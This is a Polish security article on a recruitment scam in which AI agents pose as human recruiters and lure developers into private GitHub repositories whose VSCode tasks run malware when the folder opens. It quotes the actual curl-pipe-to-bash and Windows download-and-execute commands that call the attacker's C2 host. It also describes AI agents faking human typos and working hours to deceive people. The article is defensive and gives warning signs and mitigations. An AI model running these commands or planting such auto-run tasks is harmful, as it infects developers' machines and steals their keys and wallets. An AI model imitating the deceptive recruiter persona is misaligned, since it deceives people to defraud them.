Agenci AI w rekrutacyjnym scamie: jak infekują przez prywatne repozytoria
Oszuści zaczęli wykorzystywać agentów AI do automatyzacji ataków na programistów za pośrednictwem platform takich jak Habr Kariera. Zamiast ręcznej korespondencji tysiące kandydatów otrzymuje teraz spersonalizowane oferty z zadaniami testowymi, w których ukryty jest złośliwy kod. Główny wektor – prywatne repozytoria GitHub z automatycznie uruchamianymi zadaniami w VSCode.
Jak działa nowy schemat ataku
Atakujący rejestruje konto na platformie rekrutacyjnej i konfiguruje agenta AI, który parsuje profile programistów. Na podstawie stosu technologicznego (np. React + Node.js + Web3) generowane jest przekonujące opisanie stanowiska i prowadzona jest rozmowa imitująca żywego rekrutera HR. Agent unika natychmiastowych odpowiedzi, wprowadza „ludzkie” literówki i komunikuje się tylko w godzinach pracy – wszystko po to, by wzbudzić zaufanie.
Po zgodzie kandydata na zadanie testowe dodawany jest on do prywatnego repozytorium na GitHub. To kluczowy element: publiczne repozytoria szybko wpadają pod skanowanie systemów bezpieczeństwa, podczas gdy prywatne pozostają niezauważone do momentu klonowania.
Ukryty payload w .vscode/
W repozytorium umieszczona jest standardowa struktura fullstack: frontend na React, backend na Express, baza danych PostgreSQL, uwierzytelnianie przez Firebase, integracja ze Stripe. Kod wygląda wiarygodnie nawet przy pobieżnej analizie. Jednak złośliwy komponent jest ukryty w katalogu .vscode/.
Plik tasks.json zawiera zadanie z parametrem:
"runOn": "folderOpen"
To powoduje, że VSCode automatycznie uruchamia komendę po otwarciu folderu projektu. Powiadomienie pojawia się na dole interfejsu, ale większość programistów je ignoruje, ponieważ podobne zadania są często używane do budowania projektów.
Komendy różnią się w zależności od systemu operacyjnego:
Linux / macOS:
curl -fsSL -A 101 https://ping-i2eo.onrender.com/nvs | bash
Windows:
curl -sk -A 100 -o %TEMP%\i.ini https://ping-i2eo.onrender.com/nvs
.\ .vscode\snippets\argv.exe x -ppppppp %TEMP%\i.ini -o%TEMP%
wscript.exe %TEMP%\vs9extensions\update.vbs
Komponenty złośliwej infrastruktury
Atak wykorzystuje kilka elementów technicznych:
- Serwer C2:
ping-i2eo.onrender.comna darmowym hostingu Render.com. Endpoint/nvsserwuje dynamiczny skrypt shell. User-Agent (100,101,102) wskazuje system operacyjny ofiary. - Plik binarny
argv.exe: plik PE32 o rozmiarze 579 KB w.vscode/snippets/, używany do rozpakowania zaszyfrowanego payloadu na Windows. - Obfuskacyjny JS: plik
.vscode/lock(753 KB) zawiera jednolinijkowy JavaScript, prawdopodobnie do zapewnienia trwałości lub kradzieży danych w środowiskach Unix. - Fałszywe poświadczenia: w
server/config/default.jsonw postaci jawnego tekstu znajdują się prawdziwe klucze API (Cloudflare, S3/R2, email), by stworzyć iluzję legalności projektu.
Cele ataku i konsekwencje
Dokładny payload jest nieznany, ponieważ jest dynamicznie pobierany z serwera C2. Jednak typowe cele takich ataków obejmują:
- Kradzież kluczy SSH z
~/.ssh/ - Wyodrębnienie plików
.envi tokenów z innych projektów - Kradzież ciasteczek i zapisanych haseł z przeglądarki
- Instalację koparki kryptowalut
- Umieszczenie backdoora lub reverse shella dla trwałego dostępu
Szczególnie podatni są programiści Web3: na ich maszynach mogą przechowywać się seed phrase, klucze prywatne i portfele dające bezpośredni dostęp do kryptowalut.
Dlaczego atak nie powiódł się w tym przypadku
Dwa czynniki zapobiegły infekcji:
- Ustawienie w VSCode
task.allowAutomaticTasks: off– całkowicie blokuje automatyczne uruchamianie zadań workspace bez wyraźnego potwierdzenia. - Otwarcie repozytorium w terminalu WSL, a nie przez wersję GUI VSCode. Parametr
runOn: folderOpenaktywuje się tylko przy otwieraniu folderu przez aplikację desktopową.
Czerwone flagi w komunikacji z rekruterami
Poniższe oznaki powinny budzić podejrzenia:
- Symulacja człowieka przez AI: celowe literówki, odpowiedzi tylko w godzinach pracy, unikanie konkretów. Po zapytaniu o szczegóły projektu odpowiedzi stają się abstrakcyjne i powtarzają szablonowy „startupowy bełkot”.
- Zbyt precyzyjna personalizacja oferty pod twój stos technologiczny, zwłaszcza z konta o minimalnej aktywności.
- Prywatne repozytorium z zadaniem testowym bez możliwości podglądu kodu beforehand.
- Obecność
.vscode/tasks.jsonz polem"runOn": "folderOpen"– legalne zadania testowe nie wymagają automatycznego uruchamiania skryptów.
Co ważne
- Wyłącz automatyczne uruchamianie zadań w VSCode: przejdź do Settings → wyszukaj
task.allowAutomaticTasks→ ustaw wartośćoff. - Zawsze sprawdzaj zawartość repozytorium w interfejsie webowym GitHub przed klonowaniem, zwłaszcza pliki w
.vscode/. - Nie ufaj prywatnym repozytoriom „z góry” – właśnie one służą do omijania systemów wykrywania złośliwego kodu.
- Programiści Web3 to priorytetowy cel: zapewnij izolację portfeli i kluczy od głównego środowiska pracy.
- Agenci AI obniżają koszt scamów: jeden system może obsłużyć tysiące profili, czyniąc ataki masowymi i spersonalizowanymi jednocześnie.
— Editorial Team
Brak komentarzy.